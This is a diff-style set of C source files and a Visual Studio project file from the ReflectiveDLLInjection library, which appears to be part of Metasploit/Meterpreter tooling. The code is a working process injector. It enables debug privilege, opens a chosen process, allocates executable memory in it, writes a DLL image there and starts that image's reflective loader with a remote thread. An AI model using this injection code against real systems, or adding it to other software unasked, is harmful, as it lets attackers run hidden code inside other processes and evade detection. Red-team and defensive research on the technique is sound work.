// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "GetProcAddressR.h"
//===============================================================================================//
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
// wont be able to resolve exported addresses in reflectivly loaded librarys.
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
{
UINT_PTR uiLibraryAddress = 0;
FARPROC fpResult = NULL;
if( hModule == NULL )
return NULL;
// a module handle is really its base address
uiLibraryAddress = (UINT_PTR)hModule;
__try
{
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// get the VA of the modules NT Header
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
// get the VA for the array of name pointers
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
// test if we are importing by name or by ordinal...
if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
{
// import by ordinal...
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
// resolve the address for this imported function
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// import by name...
DWORD dwCounter = pExportDirectory->NumberOfNames;
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
// test if we have a match...
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
{
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// calculate the virtual address for the function
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
// finish...
break;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
fpResult = NULL;
}
return fpResult;
}
//===============================================================================================//

View File

@ -0,0 +1,36 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,120 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "LoadLibraryR.h"
#pragma comment(lib,"Advapi32.lib")
#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }
// Simple app to inject a reflective DLL into a process vis its process ID.
int main( int argc, char * argv[] )
{
HANDLE hFile = NULL;
HANDLE hModule = NULL;
HANDLE hProcess = NULL;
HANDLE hToken = NULL;
LPVOID lpBuffer = NULL;
DWORD dwLength = 0;
DWORD dwBytesRead = 0;
DWORD dwProcessId = 0;
TOKEN_PRIVILEGES priv = {0};
#ifdef _WIN64
char * cpDllFile = "reflective_dll.x64.dll";
#else
#ifdef WIN_X86
char * cpDllFile = "reflective_dll.dll";
#else WIN_ARM
char * cpDllFile = "reflective_dll.arm.dll";
#endif
#endif
do
{
// Usage: inject.exe [pid] [dll_file]
if( argc == 1 )
dwProcessId = GetCurrentProcessId();
else
dwProcessId = atoi( argv[1] );
if( argc >= 3 )
cpDllFile = argv[2];
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == INVALID_HANDLE_VALUE )
BREAK_WITH_ERROR( "Failed to open the DLL file" );
dwLength = GetFileSize( hFile, NULL );
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
if( !lpBuffer )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
CloseHandle( hToken );
}
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
if( !hProcess )
BREAK_WITH_ERROR( "Failed to open the target process" );
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
if( !hModule )
BREAK_WITH_ERROR( "Failed to inject the DLL" );
printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
WaitForSingleObject( hModule, -1 );
} while( 0 );
if( lpBuffer )
HeapFree( GetProcessHeap(), 0, lpBuffer );
if( hProcess )
CloseHandle( hProcess );
return 0;
}

View File

@ -0,0 +1,233 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "LoadLibraryR.h"
//===============================================================================================//
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
{
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
if( dwRva < pSectionHeader[0].PointerToRawData )
return dwRva;
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
{
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
}
return 0;
}
//===============================================================================================//
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{
UINT_PTR uiBaseAddress = 0;
UINT_PTR uiExportDir = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef _WIN64
DWORD dwMeterpreterArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwMeterpreterArch = 1;
#endif
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// currenlty we can only process a PE file which is the same type as the one this fuction has
// been compiled as, due to various offset in the PE structures being defined at compile time.
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
{
if( dwMeterpreterArch != 1 )
return 0;
}
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
{
if( dwMeterpreterArch != 2 )
return 0;
}
else
{
return 0;
}
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
// loop through all the exported functions to find the ReflectiveLoader
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// return the File Offset to the ReflectiveLoader() functions code...
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
return 0;
}
//===============================================================================================//
// Loads a DLL image from memory via its exported ReflectiveLoader function
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
{
HMODULE hResult = NULL;
DWORD dwReflectiveLoaderOffset = 0;
DWORD dwOldProtect1 = 0;
DWORD dwOldProtect2 = 0;
REFLECTIVELOADER pReflectiveLoader = NULL;
DLLMAIN pDllMain = NULL;
if( lpBuffer == NULL || dwLength == 0 )
return NULL;
__try
{
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( dwReflectiveLoaderOffset != 0 )
{
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
{
// call the librarys ReflectiveLoader...
pDllMain = (DLLMAIN)pReflectiveLoader();
if( pDllMain != NULL )
{
// call the loaded librarys DllMain to get its HMODULE
// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
hResult = NULL;
}
// revert to the previous protection flags...
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
}
}
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
hResult = NULL;
}
return hResult;
}
//===============================================================================================//
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// defined in order to use the correct RDI prototypes.
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
// Note: This function currently cant inject accross architectures, but only to architectures which are the
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
{
LPVOID lpRemoteLibraryBuffer = NULL;
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
HANDLE hThread = NULL;
DWORD dwReflectiveLoaderOffset = 0;
DWORD dwThreadId = 0;
__try
{
do
{
if( !hProcess || !lpBuffer || !dwLength )
break;
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
break;
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
break;
// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
break;
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
// create a remote thread in the host process to call the ReflectiveLoader!
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
hThread = NULL;
}
return hThread;
}
//===============================================================================================//

View File

@ -0,0 +1,41 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,256 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{EEF3FD41-05D8-4A07-8434-EF5D34D76335}</ProjectGuid>
<RootNamespace>inject</RootNamespace>
<Keyword>Win32Proj</Keyword>
<ProjectName>inject</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
